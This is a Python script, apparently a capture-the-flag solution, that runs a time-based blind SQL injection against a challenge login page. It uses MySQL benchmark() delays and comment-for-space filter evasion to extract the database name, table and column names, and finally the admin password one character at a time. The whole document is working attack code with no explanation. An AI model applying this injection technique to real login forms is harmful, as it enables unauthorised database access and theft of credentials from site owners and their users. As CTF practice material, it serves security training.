1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from requests import post from time import time
url = 'http://challenge.dhycnhdu.com:33450/login.php' data = { 'username': 'admin', 'password': '' }
for i in range(8): for j in range(48, 126): f = time() data['password'] = f'123\'&&benchmark(if(ascii(mid(database(),{i+1},1))>{j},1,10000000),sha(1));#' a = post(url, data=data) s = time() if s - f > 1: print(chr(j), end='') break print()
for i in range(8): for j in range(48, 126): f = time() data['password'] = f"123'&&benchmark(if(ascii(mid((select table_name from information_schema.tables where table_schema like 'easysql' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/') a = post(url, data=data) s = time() if s - f > 1: print(chr(j), end='') break print()
for x in range(5): for i in range(8): for j in range(48, 126): f = time() data['password'] = f"123'&&benchmark(if(ascii(mid((select column_name from information_schema.columns where table_schema like 'easysql' limit {x},1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/') a = post(url, data=data) s = time() if s - f > 1: print(chr(j), end='') break print() print()
for i in range(50): for j in range(48, 126): f = time() data['password'] = f"123'&&benchmark(if(ascii(mid((select password from sqltable where username like 'admin' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/') a = post(url, data=data) s = time() if s - f > 1: print(chr(j), end='') break
|